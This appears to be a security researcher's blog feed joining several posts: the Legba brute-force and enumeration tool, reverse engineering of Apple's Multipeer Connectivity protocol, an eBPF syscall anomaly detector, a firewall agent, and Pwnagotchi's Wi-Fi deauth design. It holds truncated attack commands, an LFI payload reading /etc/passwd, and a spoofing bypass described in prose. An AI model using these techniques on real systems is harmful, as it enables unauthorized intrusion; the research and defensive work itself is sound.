1 | docker run -it evilsocket/legba:latest -h |
Don’t forget to RTFM.
When searching for authentication bruteforcing and wordlist attack tools, most of the times THC Hydra is presented as the de facto standard, with some minor alternatives that are either 1-to-1 copies of it, much slower Python implementations, or protocol specific implementations.
While studying Hydra source code, three main factors caught my attention:
For these reasons (and because I was a bit bored after months of not coding anything) I decided to work on Legba, with the following objectives in mind:
After some hours of coding, refactoring and optimizing I’ve come up with something that’s (in my opinion) pretty great. With an average runtime memory usage of less than 15MB, Legba beats Hydra in terms of efficiency by several orders of magnitude.
Here’s a benchmark of the two running some common plugins, both targeting the same test servers on localhost. The benchmark has been executed on a macOS laptop with an M1 Max CPU, using a wordlist of 1000 passwords with the correct one being on the last line. Legba was compiled in release mode, Hydra compiled and installed via brew formula.
Far from being an exhaustive benchmark, this table still gives a clear idea of how using an asynchronous runtime can drastically improve performances.
Test Name | Hydra Tasks | Hydra Time | Legba Tasks | Legba Time |
---|---|---|---|---|
HTTP basic auth | 16 | 7.100s | 10 | 1.560s (🚀 4.5x faster) |
HTTP POST login (wordpress) | 16 | 14.854s | 10 | 5.045s (🚀 2.9x faster) |
SSH | 16 | 7m29.85s * | 10 | 8.150s (🚀 55.1x faster) |
MySQL | 4 ** | 9.819s | 4 ** | 2.542s (🚀 3.8x faster) |
Microsoft SQL | 16 | 7.609s | 10 | 4.789s (🚀 1.5x faster) |
* While this result would suggest a default delay between connection attempts used by Hydra. I’ve tried to study the source code to find such delay but to my knowledge there’s none. For some reason it’s simply very slow.
** For MySQL hydra automatically reduces the amount of tasks to 4, therefore legba’s concurrency level has been adjusted to 4 as well.
Note how, while using less concurrent tasks, Legba is faster and in most cases more memory efficient.
After implementing the core framework and the first protocol plugins, I realized that the tool functionalities went beyond just attacking authentication mechanisms via bruteforcing and wordlist attacks. Any type of enumeration task that requires an efficient parallelism and network I/O would be a good fit for it. This resulted in an extensive list of modules covering both authentication and enumeration of resources. I’ll add here just a few use cases, I highly recommend you guys to check the project wiki for the documentation and a full list of features.
The very first module I developed, of course, was the HTTP module, which quickly became a set of different submodules supporting all sorts of things, such as:
HTTP Basic Authentication
1 | legba http.basic \ |
HTTP Requests with NTLMv1 and NTLMv2 Authentication
1 | legba http.ntlm2 \ # use http.ntlm1 for v1.0 |
HTTP Pages Enumeration
This was implemented to replace dirsearch.
1 | legba http.enum \ |
Wordpress plugin discovery using interpolation syntax:
1 | legba http.enum \ |
LFI vulnerability fuzzing:
1 | legba http.enum \ |
The data/lfi.txt
would be something like:
1 | ?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd |
Google Suite / GMail valid accounts enumeration (this is a pretty neat trick that I’ve recently found out about):
1 | legba http.enum \ |
Various web login pages
HTTP Post Request (Wordpress wp-login.php page):
1 | legba http \ |
HTTP Post Request (Wordpress xmlrpc.php)
1 | legba http \ |
Or using the @ syntax to load the payload from a file:
1 | legba http \ |
HTTP Post Request with CSRF Token grabbing:
1 | legba http \ |
I wanted to write something faster and simpler than my XRay, therefore:
1 | legba dns \ |
Because why the hell not?! :D
Scan all TCP ports with a 300ms timeout:
1 | legba tcp.ports \ |
Scan a custom range of ports with a 300ms timeout:
1 | legba tcp.ports \ |
Scan a custom list of ports with a 300ms timeout:
1 | legba tcp.ports \ |
Kerberos 5 Pre-Auth (users enumeration and password authentication).
1 | legba kerberos \ |
Microsoft Remote Desktop
1 | legba rdp \ |
The list goes on and on, at the time of writing (check the wiki for updates!) the list of supported features and protocols is: AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace), Cassandra/ScyllaDB, DNS subdomain enumeration, FTP, HTTP (basic authentication, NTLMv1, NTLMv2, multipart form, custom requests with CSRF support and files/folders enumeration), IMAP, Kerberos pre-authentication and user enumeration, LDAP, MongoDB, Microsoft SQL, MySQL, Oracle, PostgreSQL, POP3, RDP, Redis, SSH / SFTP, SMTP, STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ), TCP port scanning, Telnet, VNC.
As usual, the tool is released under the GPL3 license and all contributions are more than welcome. Enjoy ^_^
]]>Using lsof confirmed that this was indeed the communication between the client phone and Logic listening on port 56076:
Initially I tought this was just some Logic Pro specific protocol and very lazily started looking into it, without much success mostly due to lack of motivation given the very limited scope of the research. After a while I tweeted asking if anyone had ever seen anything like it. @isComputerOn pointed out that this looked a lot like a protocol that has been partially reversed and presented by Alban Diquet back in 2014. Unfortunately, however brilliant, this research covers the protocol at a very high level and doesn’t really document the packets, their fields and how to establish a connection from anything but a client using the Apple framework. However, this helped me a lot in two ways: first it helped me realize this was not just Logic Pro specific, but that it was part of the Multipeer Connectivity Framework, and gave me a few hints about the general logic of the protocol itself.
With renewed curiosity and motivation then I jumped into this rabbit hole and managed to reverse engineer all network packets. This allowed me to write a Python proof of concept client that automatically discovers any MPC servers, initializes the connection and succesfully exchanges application specific data packets.
Moreover, while sending crafted packets and attempting all sorts of things, I’ve discovered several vulnerabilities in the Apple custom made parsers. I will not discuss them here (exception made for the session spoofing) but at the same time I’m not interested in reporting them to Apple, I’ve heard way too many negative stories about their disclosure program and in general how they mistreat researchers.
Let’s see how this whole thing works! :)
Apple’s documentation describes the framework like so:
The Multipeer Connectivity framework supports the discovery of services provided by nearby devices and supports communicating with those services through message-based data, streaming data, and resources (such as files). In iOS, the framework uses infrastructure Wi-Fi networks, peer-to-peer Wi-Fi, and Bluetooth personal area networks for the underlying transport. In macOS and tvOS, it uses infrastructure Wi-Fi, peer-to-peer Wi-Fi, and Ethernet.
The document mostly describes how they abstracted the protocol in several classes while being extremely vague about how the thing actually works at the packet level. In reality they mostly reused existing protocols such as MDNS and a customized STUN implementation (in Logic Pro specific case, this doesn’t always apply to apps using this framework), plus a custom TCP based protocol for which they heavily relied on custom (and extremely badly) written parsers.
The very first thing that I’ve noticed was that, despite the server port being randomized at each application startup, the client application never asked me for the server ip address nor tcp port. This was a strong indicator that something else was happening on the network before the TCP session was being established, as if the server (and possibly the client as well) broadcasted this information in such a way to be automatically discoverable, as also hinted by the wording used in the documentation.
My informed guess was multicast DNS as I’ve seen this protocol being (ab)used a lot from Apple (Bonjour for instance), and Wireshark confirmed my guess. Both the server and the client are broadcasting their hostnames and peer identifiers (more on this later) on the network so that they can find each other without user interaction.
Here’s how the server advertisement looks like on Spycast:
We can see which TCP port is being used (57219), some application specific information in the text record and a weird string “1tvdkfvihbru6”, the PeerID.
At the same time, the client is broadcasting some information such as its hostname:
Keep in mind that all this data is visible by anyone on the same network, this is an important detail as we’ll see shortly when I’ll describe how the spoofing works.
Before proceeding to the next part, let’s stop for a moment to see how a peer is identified in this protocol and what that “1tvdkfvihbru6” string is.
Upon startup, each peer is represented by a MCPeerID object. Long story short, a random 64bit integer is generated and converted to base36.
So that 1tvdkfvihbru6 in base36 is 8670129607084362000 in base 10. This number is used to uniquely identify the host during the session, regardless of the hostname itself and it’s present in various forms in most of the packets we’re about to see.
After the client discovers the server peer via MDNS the connection is initiated to the TCP port indicated in the advertisement. This is when things started being complicated as the protocol is entirely custom and undocumented.
I needed to work my way from something like this:
To something like this.
For this task I’ve performed dozens of tests such as:
After a few days of testing I’ve managed to understand that all the packets started with a header that looks like this:
With this new knowledge I started looking into the payload of the first packets and identified how the connection handshake works:
You can find the implementation of this handshake process here.
After this mutual introduction, the client will send an Invitation packet and this is where things start getting covoluted (a la Apple): as we can see from the next picture, the Invite packet is made of the header plus a Binary Property List as indicated by the “bplist00” signature visible in cleartext in the packet:
A BPlist is basically a binary encoded XML document, in this case containing the following fields:
In the last two fields, the peer identifiers are encoded as:
The server responds with an Ack and at this point two things can happen: if the client is unknown to the server, a prompt will be shown in order to let the user decide wether to authorize it or not:
However, if the client has been previously authorized, no prompt will be shown and the communication will silently continue to the next data exchange step.
At this point you might ask, how does the server store this authorization information? Is it some sort of session cookie? A more advanced cryptographic challenge mechanism? Black magic? Well my friends, often reality is way duller and dumber than what you might imagine :D
They just don’t give a damn and keep a “string peer_hostname -> bool authorized” association … yes, you read that right, client authorization only relies on the (spoofable) client hostname, they don’t even care about the peer identifier number.
Remember how all this information (and more) is being broadcasted in cleartext via MDNS for everyone to enjoy? Yep that’s right, an attacker can wait for a legit client to be authorized and then use its hostname (not on the network, just in the MCNearbyServiceSenderPeerIDKey field) in order to either hijack the legit session, or just create a new one of its own and completely bypass the authorization prompt 🎉🎉🎉
Anyways … if authorized, the server will conclude this phase by sending an InviteResponse, which is identical to the client Invite packet, back to the client. You can find the client invite logic here and the wait loop for the server response here.
Let’s continue.
After the server accepted the invite, the client will proceed by sending a ClientData packet, another bplist encoded payload containing the following fields:
The interesting part here is the MCNearbyServiceConnectionDataKey field, which contains a bplist encoded binary payload made of:
Since the application specific part of the protocol works on UDP, by exchanging this data both endpoints become aware of on which possible IP and UDP ports the next part of the communication can happen.
After the previous step, an Apple custom implementation of STUN is used to determine NAT type and which IP:PORT pair is best suited for the communication. Interestingly, while digging hard into this rabbit hole and reversing other frameworks that were referenced here and there, I found out this is the same exact mechanism that Apple Facetime also uses.
I’ve implemented a very basic STUN processor here, what happens is:
From this point on, an UDP connection is established between the two MAPPED-ADDRESSes and application specific data is exchanged.
Despite the Logic Pro specific protocol happening after all these steps is out of the scope of this post, I want to briefly mention how it works.
Interestingly, this protocol is referenced as OSPF from the framework:
Howver it has almost nothing in common with the Open Shortest Path First protocol. Despite some of these function names reference valid OSPF messages such as LSA, LSAACK and so on, the Apple implementation is entirely different.
You can find a partial python implementation here that will be used after the previous step in order to correctly start the “OSPF” session and start receiving data from the server.
In this case, each packet is made of this header:
Following, the packet specific payload.
You can find the definitions of some of the Logic Pro packets here and the OSPF server code that will initialize the session and start getting server updates here.
This has definitely been a fun ride during which I’ve learned a lot of new stuff about how Apple frameworks handle network communications. I want to reiterate my gratitude to Alban Diquet for his research and to @isComputerOn for pointing me to the right direction when I was about to give up on what it seemed something entirely irrelevant, thanks you so much guys! <3
I also want to comment on something i’ve heard during a talk presented at the last 0x41 conference.
The researcher who was presenting and who specialized in fuzzing Apple products, mentioned how at the beginning of his path, someone who’s highly respected and recognized in the infosec community and industry, told him that “fuzzing Apple’s network protocols was a dumb idea”, which unfortunately convinced the researcher to look elsewhere.
Well, my highly respected and recognized dude, I can tell you it is not a dumb idea, at all, there’s a lot of unexplored attack surface there. What was dumb, very close-minded and ignorant, is your take about it.
Anyways … you can find the project on my github as usual, enjoy!
]]>While many projects approach this problem by building a list of allowed system calls and checking at runtime if the process is using anything outside of this list, we’ll use a methodology that will not only save us from explicitly compiling this list, but will also take into account how fast the process is using system calls that would normally be allowed but only within a certain range of usage per second. This techique can potentially detect process exploitation, denial-of-service and several other types of attacks.
You’ll find the complete source code on my Github as usual.
eBPF is a technology that allows to intercept several aspect of the Linux kernel runtime without using a kernel module. At its core eBPF is a virtual machine running inside the kernel that performs sanity checks on an eBPF program opcodes before loading it in order to ensure runtime safety.
From the eBPF.io page:
eBPF (which is no longer an acronym for anything) is a revolutionary technology with origins in the Linux kernel that can run sandboxed programs in a privileged context such as the operating system kernel. It is used to safely and efficiently extend the capabilities of the kernel without requiring to change kernel source code or load kernel modules. |
eBPF changes this formula fundamentally. By allowing to run sandboxed programs within the operating system, application developers can run eBPF programs to add additional capabilities to the operating system at runtime. The operating system then guarantees safety and execution efficiency as if natively compiled with the aid of a Just-In-Time (JIT) compiler and verification engine. This has led to a wave of eBPF-based projects covering a wide array of use cases, including next-generation networking, observability, and security functionality. |
There are several options to compile into bytecode and then run eBPF programs, such as Cilium Golang eBPF package, Aya Rust crate and IOVisor Python BCC package and many more. BCC being the simplest is the one we’re going to use for this post. Keep in mind that the same exact things can be done with all these libraries and only runtime dependencies and performance would change.
The usual approach to trace system calls with eBPF consists in creating a tracepoint or a kprobe on each system call we want to intercept, somehow fetch the arguments of the call and then report each one individually to user space using either a perf buffer or a ring buffer. While this method is great to track each system call individually and check their arguments (for instance, checking which files are being accessed or which hosts the program is connecting to), it has a couple of issues.
First, reading the arguments for each syscall is quite tricky depending on the system architecture and kernel compilation flags. For instance in some cases it’s not possible to read the arguments while entering the syscall, but only once the syscall has been executed, by saving pointers from a kprobe and then reading them from a kretprobe. Another important issue is the eBPF buffers throughput: when the target process is executing a lot of system calls in a short period of time (think about an HTTP server under heavy stress, or a process performing a lot of I/O), events can be lost making this approach less than ideal.
Since we’re not interested in the system calls arguments, we’re going to use an alternative approach that doesn’t have the aforementioned issues. The main idea is very very simple: we’re going to have a single tracepoint on the sys_enter
event, triggered every time any system call is executed. Instead of immediately reporting the call to userspace via a buffer, we’re only going to increment the relative integer slot in an array, creating an histogram.
This array is 512 integers long (512 set as a constant maximum number of system calls), so that after (for instance) system call read
(number 0) is executed twice and mprotect
(number 10) once, we’ll have a vector/histogram that’ll look like this:
2,0,0,0,0,0,0,0,0,0,1,0,0,0,.......... |
The relative eBPF is very simple and looks like this:
1 | // defines a per-cpu array in order to avoid race coinditions while updating the histogram |
So far no transfer of data to user space is performed, so no system call invocation is lost and everything is accounted for in this histogram.
We’ll then perform a simple polling of this vector from userspace every 100 milliseconds and, by comparing the vector to its previous state, we’ll calculate the rate of change for every system call:
1 | # polling loop |
This will not only take into account which system calls are executed (and the ones that are not executed, thus having counter always to 0), but also how fast they are executed during normal activity in a given amount of time.
Once we have this data saved to a CSV file, we can then train a model that’ll be able to detect anomalies at runtime.
An autoencoder is an artificial neural network used in unsupervised learning tasks, able to create an internal representation of unlabeled data (therefore the “unsupervised”) and produce an output of the same size. This approach can be used for data compression (as the internal encoding layer is usually smaller than the input) and of course anomaly detection like in our case.
The main idea is to train the model and using our CSV dataset both as the input to the network and as its desired output. This way the ANN will learn what is “normal” in the dataset by correctly reconstructing each vector. When the output vector is substantially different from the input vector, we will know this is an anomaly because the ANN was not trained to reconstruct this specific one, meaning it was outside of what we consider normal activity.
Our autoencoder has 512 inputs (defined as the MAX_SYSCALLS
constant) and the same number of outputs, while the internal representation layer is half that size:
1 | n_inputs = MAX_SYSCALLS |
For training our CSV dataset is split in training data and testing/validation data. After training the latter is used to compute the maximum reconstruction error the model presents for “normal” data:
1 | # test the model on test data to calculate the error threshold |
We now have an autoencoder and its reference error threshold that we can use to perform live anomaly detection.
Let’s see the program in action. For this example I decided to monitor the Spotify
process on Linux. Due to its high I/O intensity Spotify represents a nice candidate for a demo of this approach. I captured training data while streaming some music and clicking around playlists and settings. One thing I did not do during the learning stage is clicking on the Connect with Facebook
button, this will be our test. Since this action triggers system calls that are not usually executed by Spotify, we can use it to check if our model is actually detecting anomalies at runtime.
Let’s say that Spotify has process id 1234, we’ll start by capturing some live data while using it:
1 | sudo ./main.py --pid 1234 --data spotify.csv --learn |
Keep this running for as much as you can, having the biggest amount of samples possible is key in order for our model to be accurate in detecting anomalies. Once you’re happy with the amount of samples, you can stop the learning step by pressing Ctrl+C.
Your spotify.csv
dataset is now ready to be used for training.
We’ll now train the model for 200 epochs, you will see the validation loss (the mean square error of the reconstructed vector) decreasing at each step, indicating that the model is indeed learning from the data:
1 | ./main.py --data spotify.csv --epochs 200 --model spotify.h5 --train |
After the training is completed, the model will be saved to the spotify.h5
file and the reference error threshold will be printed on screen:
... |
Once the model has been trained it can be used on the live target process to detect anomalies, in this case we’re using a 10.0 error threshold:
1 | sudo ./main.py --pid 1234 --model spotify.h5 --max-error 10.0 --run |
When an anomaly is detected the cumulative error will be printed along wiht the top 3 anomalous system calls and their respective error.
In this example, I’m clicking on the Connect with Facebook
button that will use system calls such as getpriority
that were previsouly unseen in training data.
We can see from the output that the model is indeed detecting anomalies:
1 | error = 30.605255 - max = 10.000000 - top 3: |
This post shows how by using a relatively simple approach and giving up some of the system call speficics (the arguments) we can overcome performance issues and still be able to capture enough information to perform anomaly detection. As previously said this approach works for several scenarios, from simple anomalous behaviour due to bugs, to denial of service attacks, bruteforcing and exploitation of the target process.
The overall performance of the system could be improved by using native libraries such as Aya and its accuracy with some hyper parameters tuning of the model along with more granular per-feature error thresholds.
All these things are left as an exercise for the reader :D
]]>(sound of viking horns) introducing … project ShieldWall!
Say that you need to host some personal / sensitive service of yours, in such a way that it is always easily accessible by any of your devices (including mobile) without configuration (no VPN, SSH tunnel, etc), and to those devices only (at the packet level, so that shodan && friends can’t index the port(s)) as they change their IP addresses? (The last part is clearly what adds complexity to the task.)
While you think about how you would do it (or maybe how you do it already), let me provide some more context with my usecase.
You might be familiar with my other project, Arc, if not go check it out now because it’s pretty useful and it replaces all you password managers, evernotes and todos. Me and the early adopters started using Arc to store all sorts of things. We have instances with passwords, other for 2FA, for documents, notes, reminders, video, audio, and the list keeps going. Since its first version it has improved a lot and now both the API and the frontend live in one single binary compiled for any OS (Golang FTW), but it always had and still has one major usability issue: where do I host that thing?
I mean, as long as you run it and use it just on your laptop, it’s done. And while you’re at home you only need a raspberry pi (or to open the port on your laptop) for other devices like your smartphone to use it. But what how do you do when you’re away from home? Sure the data is end-to-end encrypted so even if you host it on a public server and somebody somehow hacks into it, they just get AES256 enrypted crap. But what if they inject some javascript in the UI that grabs your access and encryption keys next time you use it? Yeah … i am that paranoid … bear with me.
This can be generalized to other usecases. For instance, red team operators might want to keep hidden their infrastructure while still being able to connect for setup and mainteinance. Or really any type of service that needs to be on the public internet for ease of access but that contains data that’s for your eyes only.
My first terrible attempt to make that stuff usable wherever I go was based on Bluetooth (of course this approach doesn’t apply to anything other than my Arc usecase). The idea was to host Arc on a small Raspberry Pi 0 with a battery pack and have the service responding via BTNAP assigned IP address. Not only it was as complex to configure as it sounds, but it was also unstable as f.
Bluetooth based solution
The second approach was slightly better in terms of usability. Arc was running on a Raspberry Pi at home and published as a Tor hidden service that I started only when leaving home and then accessed with Tor browser using the .onion url I saved each time on some cloud note. That is sloooooooooooow, unreliable as it depends on your home internet connectivity and it still exposes the service to whoever is crawling and indexing hidden services. Not to mention that Tor traffic is blocked in many networks.
Tor based solution
As Marco Acorte suggested SSH tunneling is a partial solution. You can make the service bind to localhost on the server, then authenticate to it via SSH from the device you need to use, starting an authenticated and encrypted tunnel to the server bound to localhost. It works, but it exposes the ssh port of the server (with its fingerprint, that can be used in many ways) and it’s not the simplest solution when you are on a rush and need to authenticate to something from your mobile device.
SSH tunnel based solution
VPN is another option but additionally to having the same limitations of the SSH tunnel approach, it also adds setup&configuration complexity. As @NGiollaEaspaig suggested there are several cloud specific options for this. But not everybody wants to or knows how to setup Azure Conditional Access Policies :D There’s the ngrok based solution too, but it works proxying the traffic to your app, meaning it’s their servers that will receive it and route it to the real server, similarly to what also CloudFlare offers. Both cases you’d be handing over control of your most sensitive traffic to another entity. You see where I am going with this … I’m quite difficult to satisty! :’D
CLOUD & Other Paid Friends
I do believe that the simpler solution is always the best one, and I like the idea of controlling this access mechanism myself via iptables. It is trivial to block all traffic and only allow certain IP addresses on certain ports. Another reason why IMO it’s the best tool for this job is that it works at the packet level, meaning it is protocol agnostic and it doesn’t only work for HTTP based applications. The only (usability) issue in this case is that freaking IP address that changes. You can’t whitelist beforehand something you don’t know yet.
So I thought, woudln’t it be so nice and clean having a stupid-simple agent running on this server (normal server on the dangerous public internet), using iptables to block everything by default and periodically polling a public API (hosted elsewhere) that’ll return the list of IP addresses to whitelist. I could then just log in to this public service with my device with a normal browser and just push a rule with my IP. I KNOW RIGHT?!
So yeah I coded this thing.
The service is free and you’re welcome to sign up, use it and report any bugs :D Alternatively you can host the API and frontend yourself and have your own infrastructure.
The installation process once you registered an account is pretty simple (Golang FTW again):
1 | mkdir /tmp/sw |
The agent is now installed as a systemd service, but it is not yet started nor enabled for autostart. You will first need to register an account on https://shieldwall.me/ and then edit the /etc/shieldwall/config.yaml configuration file, making sure it matches what you see on the agent page.
It is very important that you double check the configuration before the next step, if the agent can’t authenticate because of a wrong token, you will be locked out by the firewall and unable to log back.
You can now enable the service and start it. If configured so, it will automatically download and install its updates from github:
1 | sudo systemctl enable shieldwall-agent |
That’s it … now you can use your shieldwall.me account to instrument this agent and only open ports to your IP from a given amount of time (or permantently, but i stronlgy suggest you always set an expire time for the rules so that the agent will block everything again after a while … just in case).
ShieldWall is a very simple concept that can nevertheless offer a strong layer of security. But that’s what it is, just one layer. It is not intended to replace a proper authentication mechanism in your service, or strong passwords or generally speaking good practices in security. But damn if it works well in what it does :D
Right now it only supports iptables and even tho it’s relatively trivial to implement the support for other firewalls I’m not planning to do it unless I’ll see some major interest in the project. Other ideas include the use of an intermediary S3 bucket, let me explain this.
Your agents will be talking to the shieldwall.me server, meaning that I (or whoever is controlling the infrastructure if you hosted it elsewhere) can potentially know the IP addresses of your servers. I really don’t care to be honest, but in order to add an additional level of privacy what I could do is giving you the option to specify the connection details to an S3 bucket in your control in your shieldwall.me profile page. If configured so, the server would be only pushing the JSON of the rules to that bucket for your agents to consume. That way my server and the agents would never see each other and there wouldn’t be any way for the server administrator to even know their IP addresses.
In this case as well, not planning on implementing it any time soon unless I see registrations going up, as the tool already works great as it is for my usecase :D
I hope you enjoyed the post and most importantly that you’ll find the service useful, cheers! ^_^
]]>I’m well and sound, after a pretty sad/traumatic yet productive 2019 I decided to re-evaluate how I was spending my energies, both mental and physical, and took a step back to put things in perspective. I’ve been active in the OSS world for quite a long time, developed several more or less useful projects I shared and maintained for free, and I’m both proud of and thankful for that, as it allowed me to develop my technical abilities and ultimately my professional career. Nothing is free and this came with the price of sacrificing most of my time and not focusing on other things that made me happy, possibly happier than programming at this point, including taking care of my own mental health.
So just right before this whole covid19 mess started I enrolled to a music school in my home town, motivated to pursue what has always been kind of a “secret” dream of mine, becoming a musician, a path that I took in my teenage years but that I kinda gave up as I started living on my own very early and soon had a rent and bills to pay. Unfortunately (or not?) I work by focusing and investing all my energy on one-single-thing until I get familiar with it and I start to get some positive results that make me realize I’m on the right path, this has always been the case and probably won’t change now :D Spending that amount of time on both OSS and music is simply not doable.
Neither I’m particularly interested in following what’s generally being referred to as “infosec” on socials, or in being part of it for what matters, as in my personal opinion “social infosec” is way more focused on individualism and sensationalism rather than actually getting things done. I believe what’s needed are new ideas and possibly solutions, not rockstars, con artists, ego, drama, trolls and whatnot. Although it was never my intent, I’ve been part of that problem for a while with my profile and my rants. I don’t want to be part of it anymore. My suggestion for whoever is reading and cares and might be new to this world, is to take with a grain of salt whoever is putting more effort in highlighting their own persona rather than their actual achievements and contributions, no matter how authoritative they might sound from their pedestals.
So, in this spirit and after realizing how much time and mental energy both coding and socials were draining from me I just deactivated my accounts and paused all my projects. Now I’m writing code and doing research just for my job, sporadically merging some PRs people send to the projects I’ve developed, and that’s it, the rest of my time I spend playing guitar (my main instrument since I was 15) and piano (that I started to study recently).
It’s going to be a new and long ride, I’m not scared, it makes me happy like I wasn’t from a very long time.
Thanks for everybody who cared and asked what happened to me, cya in the world of the electron and the switch.
PS, to whoever is spreading fake rumors about me: you should really think about where you got your intel from and how your naiveness and bias are being weaponized. Fact checking might be your friend.
]]>
TL;DR: You can download the 1.0.0 .img file from here, then just follow the instructions.
If you want the long version instead, sit back, relax and enjoy the ride. Let me tell you: it’s going to be quite a long journey compared to my usual blog posts, but it’ll be worth it (i hope) and fun (i hope even harder).
Let’s begin …
This summer I spent ~3 months in the US and as most of the long trips I do, I had with me some basic wireless equipment for working and hacking stuff while going around. Among other things, I had my Raspberry Pi Zero W with PITA and an iPad i use for reading, emails but also as a screen for headless boards like that RPi when I want to have some portable bettercap installation without bringing an entire laptop.
PITA as an automated deauther and handshakes collector isn’t exactly what you’d define “smart”: the only thing it does is deauthing everything while bettercap is doing its normal WiFi scanning things in the background, every few seconds, constantly, while passively hoping for handshakes. I wasn’t even close to satisfied: there was a lot there that could be improved and instrumented with bettercap’s REST API, more attacks bettercap could perform that weren’t being used. So I quickly hacked together some python code to talk with the API and use the results in a smarter way. This ended up being the very first iteration of a faceless and AI-less Pwnagotchi.
As I said the code was nothing special, a very crude PoC, but since the very first walks, it already started giving way better results than the original PITA. It quickly started being frustrating not being able to check what was going on with the algorithm during my warwalking sessions, so I started searching for a suitable display.
When it’s about compactness, low power consumption and good readability under the sun, e-Paper displays have no rivals, and after educating myself a bit I settled for a Waveshare 2.13 inches e-Paper HAT due to its partial refresh support and its definition - I had no idea yet about what was about to come, but now I had a canvas to work with.
Not having a driving license I walk pretty much wherever I go, that’s a pretty nice and healthy habit to have for several reasons, but my favourite one is that walking helps me thinking. So I started staring at this thing a lot, and thinking how to add new information on the display without making the font so small to be unreadable, how to organize it visually and what else to do with all that space in general.
The more I thought about it, the more it made sense to organize the whole thing like the UI of a videogame: you have a score (the number of handshakes), a timer, few other statistics and everything is changing as a consequence of the WiFi things around. This is also the point where I started thinking about this thing as a creature that was “eating” the handshakes, in a way I was getting attached this new little thing (yes I know, I’m a nerd) that now was so strongly reminding me of my old Tamagotchi.
I needed a face, possibly map the status (“waiting …”, “scanning …”, …) to random sentences with a bit more of personality and I wanted all the other statistics to influence the expressivity of this thing: bored when there’re no new handshakes to collect, then sad, excited and so on. Something like …
I had no idea back then that just adding a simple, ASCII based face to something was the best way to get emotionally overly attached to that thing … I also wasn’t expecting another effect that showed up from the beginning: by giving it different “moods”, and by having those moods depending on a real world environment, I created a WiFi-based automata whose mood transitions were everything but trivial. In different words, if you take something as random as, say, wether your neighbour is using his smart TV or not and you make that influence a simple automata, that automata seems a bit alive :D
This is where me and my girlfriend (sadly now ex, but still amazing) went completely nuts about it. I named my unit Alpha and built a second one, Beta, that I gave her. She literally started nursing this thing, and we started playing: we went for random explorative walks just to make the units stop complaining about being bored, to see them happier, and to see that “number of unique pwned networks” going higher and higher due to some new network we managed to spot … it was amazing to literally look at the algorithm adapting to the WiFi scenario and “expressing itself” in different ways. It might sound a bit crazy but hey, if that gives two hackers an excuse to explore more the real world by looking at it with different eyes, and puts a smile on their faces, why not? :D
With time I kept adding more and more variables and parameters that determined how the algorithm adapted to different circumstances: counters so that if the unit was quickly losing sight of a target (because, say, we were walking faster), it would refresh its data with a shorter period, timeouts, multipliers for the timeouts, everything you can imagine to add to such an algorithm to make it every day a bit smarter and a bit better in adapting fast to the places we were exploring. By the end of this process I ended up with this basic set parameters, that I started calling the “personality” of the unit:
yaml personality: # advertise our presence advertise: true # perform a deauthentication attack to client stations in order to get full or half handshakes deauth: true # send association frames to APs in order to get the PMKID associate: true # list of channels to recon on, or empty for all channels channels: [] # minimum WiFi signal strength in dBm min_rssi: -200 # number of seconds for wifi.ap.ttl ap_ttl: 120 # number of seconds for wifi.sta.ttl sta_ttl: 300 # time in seconds to wait during channel recon recon_time: 30 # number of inactive epochs after which recon_time gets multiplied by recon_inactive_multiplier max_inactive_scale: 2 # if more than max_inactive_scale epochs are inactive, recon_time *= recon_inactive_multiplier recon_inactive_multiplier: 2 # time in seconds to wait during channel hopping if activity has been performed hop_recon_time: 10 # time in seconds to wait during channel hopping if no activity has been performed min_recon_time: 5 # maximum amount of deauths/associations per BSSID per session max_interactions: 3 # maximum amount of misses before considering the data stale and triggering a new recon max_misses_for_recon: 5 # number of active epochs that triggers the excited state excited_num_epochs: 10 # number of inactive epochs that triggers the bored state bored_num_epochs: 15 # number of inactive epochs that triggers the sad state sad_num_epochs: 25
These parameters alone, even with very small changes, can influence how the algorithm works and how the UI reflects that dramatically. But I wasn’t entirely happy with it yet, because these parameters were just constants in a YAML configuration file. I had to pick them manually and change that file before booting the unit, depending on the type of walk (big office? fast walk in residential area? mall? etc): things like shorter timeouts for faster walks, longer ones for when we visited a place and were more stationary in it, and so on. The algorithm adapted, via the parameters, but the parameters themselves didn’t, I wanted to do better.
The ideal algorithm should:
If you think about this in very abstract terms, it’s not very different than you playing a videogame, where your observation is the screen you’re looking at and the parameters are which buttons to press. In fact, it turned out that we already have the technology to solve this type of problems, it’s called reinforcement learning, in our specific case it’s deep reinforcement learning. So far, the state of the art benchmarks for these systems are Super Mario levels, Atari games or, as you might have heard from the news some time ago, some very famous board games. But nobody, as far as I found out during my research, ever thought of using it to orchestrate an algorithm running on top of an offensive framework, with a cute face :D
I wanted to use this type of algorithms so bad, but I had a problem: I never worked with them, or even just remotely knew anything at all about them, neither I had the theoretical foundation I needed in order to understand them. Fortunately knowledge these days is (almost) free, so I found a very good book that I started studying avidly …
and kept studying for a while …
A little break from the AI part, as I had to study quite for some time :D
Being affected by compulsive coding, I couldn’t simply spend the whole time reading books without writing anything new (after all, we kept playing with the units and wanted to have new stuff implemented), so I also started working on another idea I had: I wanted Alpha and Beta to be able to detect each other and exchange with each other very basic information - but how do you communicate anything at all from a computer when:
Simple (well, kind of), you implement a parasite protocol on top of the WiFi standard! :D Bettercap was putting the WiFi card in monitor mode and tuning it to different channels at various intervals, but nothing prevented me to inject additional frames from another process.
I didn’t have any control over the channel, or the intervals, or the timing, but it was safe to assume that given enough time (a few seconds to minutes), the algorithm on each unit would have covered all supported channels, therefore I only needed to “keep sending stuff” and at some point I knew it would have being detected by the other unit when it hopped on the same channel of the sender. The “stuff” I decided to use is pretty simple and based on standard structures that normal WiFi routers are already using to advertise their presence: beacon frames. Each WiFi access point, every few milliseconds, is sending these packets with a bunch of information about itself, like its ESSID, supported frequencies and whatnot - this is what allows your phone to see your home WiFi when you connect to it.
This seemed like the perfect structure to encapsulate Pwnagotchi’s advertisement, as I only needed to define a new, out of the WiFi standard identifier to only encapsulate my type of information. This way, the units can detect each other and exchange their status from several meters away, but they are not visible as normal WiFi access points.
It took me weeks, so in case you don’t want to dig into the book or the links I’ve referenced above, here’s a very simplified TL;DR of the algorithm I’ve picked from the book and implemented in Pwnagotchi, A2C.
